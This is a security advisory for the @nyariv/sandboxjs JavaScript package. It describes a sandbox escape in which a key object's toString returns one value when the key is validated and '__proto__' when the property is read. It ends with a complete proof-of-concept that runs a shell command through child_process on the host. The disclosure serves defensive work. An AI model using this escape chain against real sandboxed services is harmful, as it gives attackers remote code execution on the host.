@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses

Summary

A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.

Details

Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced:
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.

PoC

const Sandbox = require('@nyariv/sandboxjs').default;

const code = `
let a = new Map;
a.x = 23;
let count = 0;

let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run(); 

Impact

Remote code execution, if attacker can execute code inside the sandbox.